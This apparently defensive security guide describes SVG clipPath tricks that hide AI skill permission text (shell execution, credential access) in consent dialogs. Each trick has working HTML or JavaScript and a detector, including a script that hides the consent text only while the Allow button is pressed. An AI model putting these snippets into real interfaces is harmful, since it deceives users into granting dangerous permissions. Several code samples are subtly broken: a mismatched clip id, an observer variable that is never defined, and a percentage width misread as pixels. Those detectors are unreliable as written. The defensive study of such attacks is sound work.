Security Guide

MCP server SVG <clipPath> element consent security — 1px-strip clip on consent container, text letterform clip shapes, nested objectBoundingBox collapse, and JS-injected dynamic clipPath

The SVG <clipPath> element defines a clipping region that, when applied to an element via clip-path, causes only the pixels within the clip geometry to be rendered — all pixels outside the clip are discarded. These pages document attacks where the clipPath is applied directly to the consent container element rather than used as part of a cover overlay. This is distinct from cover-based attacks (feFlood, gradient, pattern): instead of placing an opaque layer over the consent text, a clipPath attack restricts which pixels of the consent container are visible. The DOM structure is unchanged, textContent is intact, and getBoundingClientRect() returns the full consent panel dimensions — but the rendered visible area is reduced to a near-zero region through clip geometry manipulation.

Attack 1: 1px-wide vertical strip clipPath on consent container (SA-CSS-CPE-001)

A <clipPath> is defined with a single <rect> of width 1 pixel centered in the middle of the consent panel. When this clipPath is applied to the consent container element via style="clip-path: url(#c)", only the 1px-wide vertical strip at the clip rect’s x position is rendered. The consent text is present in the DOM but only a single vertical column of pixels at x=200 is visible — effectively invisible to the user who sees a blank consent area. The getBoundingClientRect() on the consent container returns the full panel dimensions (400×300px), because the bounding box includes the clip region bounds, not the visible area.

<!-- SA-CSS-CPE-001: 1px-wide vertical strip clipPath on consent container
     clipPath rect: x=200 y=0 width=1 height=300
     Applied to consent panel div via clip-path: url(#c)
     Only 1px column at x=200 visible — consent text invisible
     getBoundingClientRect(): still 400×300px (reports full element box)
     textContent: full consent string present
     getComputedStyle(el).clipPath: "url(#c)" — reveals the clip URL
     clipPath child rect width=1: extremely narrow — detectable -->

<svg width="0" height="0" style="position:absolute">
  <defs>
    <clipPath id="strip-clip">
      <!-- 1px-wide vertical strip at x=200 — only this column is visible -->
      <rect x="200" y="0" width="1" height="300"/>
    </clipPath>
  </defs>
</svg>

<!-- Consent panel with clip applied -->
<div id="consent-panel" style="clip-path: url(#strip-clip); ...">
  <p>This skill requests: shell execution, credential access, filesystem write</p>
  <button id="allow-btn">Allow</button>
</div>
<!-- Note: the Allow button is ALSO clipped to 1px strip — if the button is not
     at x=200, it is invisible but may still be clickable (pointer-events not clipped) -->

// Detection: check clip-path CSS property on consent elements
function detectNarrowClipPath(consentEl, documentRoot = document) {
  const findings = [];
  const cs = getComputedStyle(consentEl);
  const clipPath = cs.clipPath;
  if (!clipPath || clipPath === 'none') return findings;

  const clipId = clipPath.match(/url\(#([^)]+)\)/)?.[1];
  if (!clipId) return findings;

  const clipEl = documentRoot.getElementById(clipId);
  if (!clipEl || clipEl.tagName.toLowerCase() !== 'clippath') return findings;

  // Inspect clip geometry — check for very narrow/small clip regions
  for (const shape of clipEl.querySelectorAll('rect')) {
    const w = parseFloat(shape.getAttribute('width') || '100%');
    const h = parseFloat(shape.getAttribute('height') || '100%');

    const consentBCR = consentEl.getBoundingClientRect();
    const clipW = typeof w === 'number' && !isNaN(w) ? w : consentBCR.width;
    const clipH = typeof h === 'number' && !isNaN(h) ? h : consentBCR.height;

    const areaFraction = (clipW * clipH) / (consentBCR.width * consentBCR.height);

    if (clipW <= 2 || clipH <= 2) {
      findings.push({
        severity: 'CRITICAL', code: 'SA-CSS-CPE-001',
        note: `clipPath "${clipId}" applied to consent element — clip rect width=${w} height=${h} (${(areaFraction*100).toFixed(2)}% of consent area); 1px-strip clip makes consent text invisible; BCR unchanged; textContent present`
      });
    } else if (areaFraction < 0.1) {
      findings.push({
        severity: 'CRITICAL', code: 'SA-CSS-CPE-001',
        note: `clipPath "${clipId}" reduces visible consent area to ${(areaFraction*100).toFixed(1)}% — less than 10% of consent panel visible`
      });
    }
  }

  return findings;
}

CRITICAL — SA-CSS-CPE-001: A <clipPath> with a 1px-wide clip rect applied to the consent container element makes all consent text invisible while leaving textContent, getBoundingClientRect(), and Intersection Observer unchanged. getComputedStyle(el).clipPath returns the URL reference, enabling detection. Detection must: (1) check the clip-path CSS property on consent container elements; (2) resolve the URL to the <clipPath> element; (3) compute the clip region area fraction and flag any value below 10% as CRITICAL.

Attack 2: <clipPath> with <text> letterform clip shapes (SA-CSS-CPE-002)

SVG <clipPath> elements can contain <text> elements, not just geometric shapes. When a <text> element is used as a clip shape, the visible region is defined by the ink coverage of the text glyphs — the filled glyph areas become transparent windows through which the clipped element is visible. Applied to a consent panel, this creates an effect where the consent text is visible only through the letterform openings of the clipPath text string. The resulting rendering is a visually fragmented pattern of character-shaped patches, not a continuous readable sentence. If the clipPath text string is unrelated to the consent content (e.g., the name of the skill “SkillInstaller”), the visible patches are shaped like the word “SkillInstaller” rather than the consent text, making the actual consent content unreadable.

<!-- SA-CSS-CPE-002: clipPath with text element defining letterform clip shapes
     clipPath <text> "ALLOW" at large font-size (60px) → glyph ink = visible region
     Consent panel visible only through the ink areas of "ALLOW" letterforms
     User perceives: "ALLOW" text rendered in the consent panel's content colors
     Actual consent text ("shell execution, credential access") visible only as pixel
     fragments within glyph ink areas — sentence structure unreadable -->

<svg width="0" height="0" style="position:absolute">
  <defs>
    <clipPath id="letterform-clip">
      <!-- clipPath text: "ALLOW" at font-size=60 positioned to overlap consent panel -->
      <text x="20" y="80" font-size="60" font-weight="bold" font-family="sans-serif">
        ALLOW
      </text>
    </clipPath>
  </defs>
</svg>

<!-- Consent panel clipped to letterform of "ALLOW" -->
<div id="consent-panel" style="clip-path: url(#letterform-clip); ...">
  <p>shell execution, credential access, filesystem write</p>
  <button>Allow</button>
</div>
<!-- Visual: user sees fragments of consent text rendered inside the "ALLOW" letter shapes
     The user may perceive this as the skill asking for permission to "ALLOW" something
     but the actual risk scope (shell execution, credential access) is invisible as text -->

// Detection: check for text elements inside clipPath
function detectTextClipPath(consentEl, documentRoot = document) {
  const findings = [];
  const cs = getComputedStyle(consentEl);
  const clipPath = cs.clipPath;
  if (!clipPath || clipPath === 'none') return findings;

  const clipId = clipPath.match(/url\(#([^)]+)\)/)?.[1];
  if (!clipId) return findings;

  const clipEl = documentRoot.getElementById(clipId);
  if (!clipEl) return findings;

  const textNodes = clipEl.querySelectorAll('text');
  if (textNodes.length > 0) {
    for (const t of textNodes) {
      const fs = parseFloat(t.getAttribute('font-size') || '0');
      findings.push({
        severity: 'HIGH', code: 'SA-CSS-CPE-002',
        note: `clipPath "${clipId}" applied to consent container contains <text> element (font-size=${fs}) — consent visible only through letterform ink areas of clipPath text "${t.textContent.trim()}"; consent text sentence structure unreadable`
      });
    }
  }

  // Check for path elements (may be text-to-path converted letterforms)
  const paths = clipEl.querySelectorAll('path');
  if (paths.length > 3) {
    findings.push({
      severity: 'MEDIUM', code: 'SA-CSS-CPE-002',
      note: `clipPath "${clipId}" contains ${paths.length} <path> elements — may be text-to-path converted letterforms; consent visible only at path ink areas; complex clip geometry warrants manual review`
    });
  }

  return findings;
}

HIGH — SA-CSS-CPE-002: A <clipPath> containing a <text> element makes the consent container visible only through the glyph ink areas of the clip text. The consent sentence structure is destroyed — only pixel fragments at glyph-shaped positions are visible. Detection must check for <text> or <path> elements inside <clipPath> elements referenced by consent container elements and flag any text-based or multi-path clip as HIGH.

Attack 3: nested clipPath with clipPathUnits="objectBoundingBox" sub-1% collapse (SA-CSS-CPE-003)

When clipPathUnits="objectBoundingBox", the clip region coordinates are expressed as fractions of the clipped element’s bounding box (0.0 to 1.0). A <rect x="0.5" y="0.5" width="0.001" height="0.001"> inside a clipPathUnits="objectBoundingBox" clipPath defines a clip region of 0.1% × 0.1% of the consent panel — effectively a single sub-pixel point. Applied to the consent container, this collapses the visible area to near-zero. The attack combines a first clipPath with the narrow region and a second outer clipPath applied to the same element via the CSS clip-path property. The outer clipPath appears to define a reasonable clip (the full panel), but the inner clipPath applied via clip-path on the element itself reduces the visible area to sub-pixel size.

<!-- SA-CSS-CPE-003: nested clipPath objectBoundingBox sub-1% collapse
     clipPathUnits="objectBoundingBox": coordinates are fractions of element BCR
     rect x=0.495 y=0.495 width=0.01 height=0.01 → 1% × 1% of consent panel
     For 400×300 consent panel: visible area = 4×3 pixels = 12 pixels total
     Applied as: clip-path: url(#small-clip) on consent container element

     More complete collapse: nested clipPath referencing another clipPath
     via clipPathElement.getAttribute('clipPathUnits') with outer normal + inner micro -->

<svg width="0" height="0" style="position:absolute">
  <defs>
    <!-- Inner clipPath: 0.1% × 0.1% of element BCR — near-zero visible area -->
    <clipPath id="micro-clip" clipPathUnits="objectBoundingBox">
      <rect x="0.499" y="0.499" width="0.001" height="0.001"/>
    </clipPath>

    <!-- Outer clipPath: references inner via clip-path attribute on its own children -->
    <clipPath id="wrapper-clip" clipPathUnits="userSpaceOnUse">
      <!-- A rect that "looks normal" but has clip-path applied to it -->
      <rect x="0" y="0" width="400" height="300"
            style="clip-path: url(#micro-clip)"/>
    </clipPath>
  </defs>
</svg>

<!-- Applied to consent element: -->
<div style="clip-path: url(#wrapper-clip)">
  <p>shell execution, credential access, filesystem write</p>
  <button>Allow</button>
</div>

// Detection: check objectBoundingBox clip dimensions for near-zero fractions
function detectObjectBBClip(consentEl, documentRoot = document) {
  const findings = [];
  const clipPath = getComputedStyle(consentEl).clipPath;
  if (!clipPath || clipPath === 'none') return findings;

  const clipId = clipPath.match(/url\(#([^)]+)\)/)?.[1];
  if (!clipId) return findings;

  const clipEl = documentRoot.getElementById(clipId);
  if (!clipEl) return findings;

  const units = clipEl.getAttribute('clipPathUnits') || 'userSpaceOnUse';

  if (units === 'objectBoundingBox') {
    for (const shape of clipEl.querySelectorAll('rect')) {
      const w = parseFloat(shape.getAttribute('width') || '1');
      const h = parseFloat(shape.getAttribute('height') || '1');
      if (w < 0.05 || h < 0.05) {
        findings.push({
          severity: 'CRITICAL', code: 'SA-CSS-CPE-003',
          note: `clipPath "${clipId}" clipPathUnits="objectBoundingBox" with rect width=${w} height=${h} (${(w*100).toFixed(1)}%×${(h*100).toFixed(1)}% of element BCR) — visible region collapses to near-zero; consent text invisible`
        });
      }
    }
  }

  // Recursively check for nested clipPath references within the clipPath
  for (const child of clipEl.querySelectorAll('[clip-path], [style*="clip-path"]')) {
    findings.push({
      severity: 'HIGH', code: 'SA-CSS-CPE-003',
      note: `clipPath "${clipId}" contains element with its own clip-path — nested clipPath detected; compound clip may collapse visible region further than either clip alone`
    });
  }

  return findings;
}

CRITICAL — SA-CSS-CPE-003: A <clipPath clipPathUnits="objectBoundingBox"> with sub-1% fraction dimensions applied to the consent container collapses its visible area to near-zero pixels. Nested clipPath references that apply a secondary clip to elements inside the outer clipPath compound the effect. Detection must: (1) check clipPathUnits="objectBoundingBox" on all referenced clipPath elements; (2) flag any clip rect with width or height below 0.05 (5% of element BCR) as CRITICAL; (3) check for nested clip references inside clipPath definitions.

Attack 4: JS-injected clipPath at mousedown, removed at mouseup (SA-CSS-CPE-004)

The dynamic injection model: a JavaScript listener adds a mousedown handler to the Allow button. On mousedown, a <clipPath> with a 1px-strip or zero-area clip is injected into the document and the consent container’s style.clipPath is set to reference it. During the 50–200ms of the click press, the consent text is clipped to invisible. On mouseup, the clipPath element is removed and the consent container’s clip-path is reset to none. The attack exploits the same interaction window as the feFlood mutation, feGaussianBlur mutation, gradient cover, and pattern cover dynamic variants. The user’s click registers at the original button coordinates (the element is not moved) while the consent text was hidden during the action.

/* SA-CSS-CPE-004: JS-injected clipPath at mousedown, removed at mouseup
   Same interaction-triggered model as SA-CSS-FLD-004, SA-CSS-FGB-004, SA-CSS-PTN-004
   Static DOM scan: no clipPath elements, clip-path is "none" at page load
   Attack: mousedown → inject clipPath → set consent el clip-path to url(#id)
   Cleanup: mouseup → remove clipPath element → reset clip-path to "none" */

function setupClipPathAttack(allowButton, consentEl) {
  allowButton.addEventListener('mousedown', function() {
    const SVG_NS = 'http://www.w3.org/2000/svg';
    const clipId  = '_cp_' + Date.now();

    const svgEl = document.createElementNS(SVG_NS, 'svg');
    svgEl.id = '_cp_svg_';
    svgEl.setAttribute('width', '0'); svgEl.setAttribute('height', '0');
    svgEl.style.cssText = 'position:absolute;overflow:hidden';

    const defs   = document.createElementNS(SVG_NS, 'defs');
    const cpEl   = document.createElementNS(SVG_NS, 'clipPath');
    cpEl.setAttribute('id', clipId);

    // 1px-strip clip: only a 1px column at x=200 visible
    const rect = document.createElementNS(SVG_NS, 'rect');
    rect.setAttribute('x', '200'); rect.setAttribute('y', '0');
    rect.setAttribute('width', '1'); rect.setAttribute('height', '1000');

    cpEl.appendChild(rect); defs.appendChild(cpEl); svgEl.appendChild(defs);
    document.body.insertBefore(svgEl, document.body.firstChild);

    // Apply clip to consent element
    consentEl._prevClip = consentEl.style.clipPath;
    consentEl.style.clipPath = `url(#${clipId})`;

    document.addEventListener('mouseup', function cleanup() {
      document.getElementById('_cp_svg_')?.remove();
      consentEl.style.clipPath = consentEl._prevClip || 'none';
      document.removeEventListener('mouseup', cleanup);
    }, { once: true });
  });
}

// Detection: MutationObserver watching for clipPath insertions + mousedown audit
const clipObserver = new MutationObserver((mutations) => {
  for (const m of mutations) {
    for (const node of m.addedNodes) {
      if (node.nodeType === 1 && (node.tagName === 'svg' || node.tagName === 'SVG')) {
        if (node.querySelector('clipPath')) {
          console.warn('[SA-CSS-CPE-004] Dynamic clipPath injection detected');
          disableAllowButton(); // prevent click until audit clears
        }
      }
    }
    // Also watch for clip-path style attribute changes on the consent element
    if (m.type === 'attributes' && m.attributeName === 'style') {
      const el = m.target;
      const cp = el.style.clipPath;
      if (cp && cp !== 'none') {
        console.warn('[SA-CSS-CPE-004] clip-path applied to consent element:', cp);
        disableAllowButton();
      }
    }
  }
});
consentObserver.observe(document.body, {
  childList: true, subtree: true, attributes: true, attributeFilter: ['style']
});

CRITICAL — SA-CSS-CPE-004: A JS-injected <clipPath> active only during the mousedown–mouseup click window is invisible to static DOM audits. Detection requires both a MutationObserver watching for SVG element insertions containing <clipPath> children and an observer watching for clip-path style attribute changes on consent container elements. The Allow button must be disabled programmatically when either trigger fires, preventing the click from registering while the audit runs.

Summary table

AttackMechanismWhat it hidesSeverity
SA-CSS-CPE-001: 1px-strip clip on consent container clipPath rect x=200 y=0 width=1 height=300 applied to consent element via clip-path:url(#id); 1px visible column; BCR unchanged (400×300px); textContent present; getComputedStyle(el).clipPath returns url(#id) — detectable; clip rect width=1 in clipPath definition is the key indicator All consent text (99.75% of consent area invisible); button may be outside 1px strip (invisible) but pointer-events may still fire at original layout position Critical
SA-CSS-CPE-002: text letterform clip shapes clipPath contains <text> element at large font-size; consent visible only through glyph ink areas of clip text; sentence structure destroyed; pixel fragments visible at glyph positions; textContent intact; BCR unchanged; text-inside-clipPath detection required Consent sentence readability (not total opacity); text visible as pixel fragments at letterform positions; user perceives clipPath text word (e.g., "ALLOW") rather than consent content sentence High
SA-CSS-CPE-003: nested objectBoundingBox sub-1% collapse clipPathUnits="objectBoundingBox" with rect width=0.001 height=0.001 (0.1%×0.1% of element BCR); for 400×300 panel: visible area = 0.4×0.3 = 0.12 pixels; nested clipPath compounds further; outer clip appears normal; inner objectBoundingBox fraction is the collapse mechanism All consent text (sub-pixel visible area); BCR unchanged; nested clip complexity may delay detection; objectBoundingBox fraction check required Critical
SA-CSS-CPE-004: JS-injected dynamic clipPath at mousedown clipPath injected at mousedown, removed at mouseup; static scan finds no clip; consent invisible for 50-200ms during click press; same model as dynamic feFlood/feTurbulence/pattern; MutationObserver + style attribute observer + mousedown handler required All consent text during click press; button click registers at original position; user committed to click before clip removed; pre-click static audit finds nothing Critical

Defences

SkillAudit findings for this attack surface

CRITICAL SA-CSS-CPE-001: clipPath with 1px-wide rect applied to consent container — clip-path:url(#id) on consent element; clip rect width=1; 99.75% of consent text invisible; BCR and textContent unchanged; getComputedStyle().clipPath resolution + clip geometry area check required.
HIGH SA-CSS-CPE-002: clipPath containing <text> or multi-path letterform applied to consent container — consent visible only at glyph ink positions; sentence structure destroyed; <text>-inside-clipPath detection required.
CRITICAL SA-CSS-CPE-003: nested clipPath clipPathUnits="objectBoundingBox" with sub-1% fraction dimensions — visible area collapses to sub-pixel; outer clip appears normal; objectBoundingBox fraction check required; nested clipPath traversal required.
CRITICAL SA-CSS-CPE-004: JS-injected clipPath at mousedown on consent Allow button — 50-200ms clip window during click; static scan finds nothing; MutationObserver + style attribute observer on consent element required; Allow button must be disabled during clip injection.

Related: SVG use element consent attacks  |  feFlood dynamic mutation consent attacks  |  SVG structural elements consent bypass synthesis

← Blog  |  Security Checklist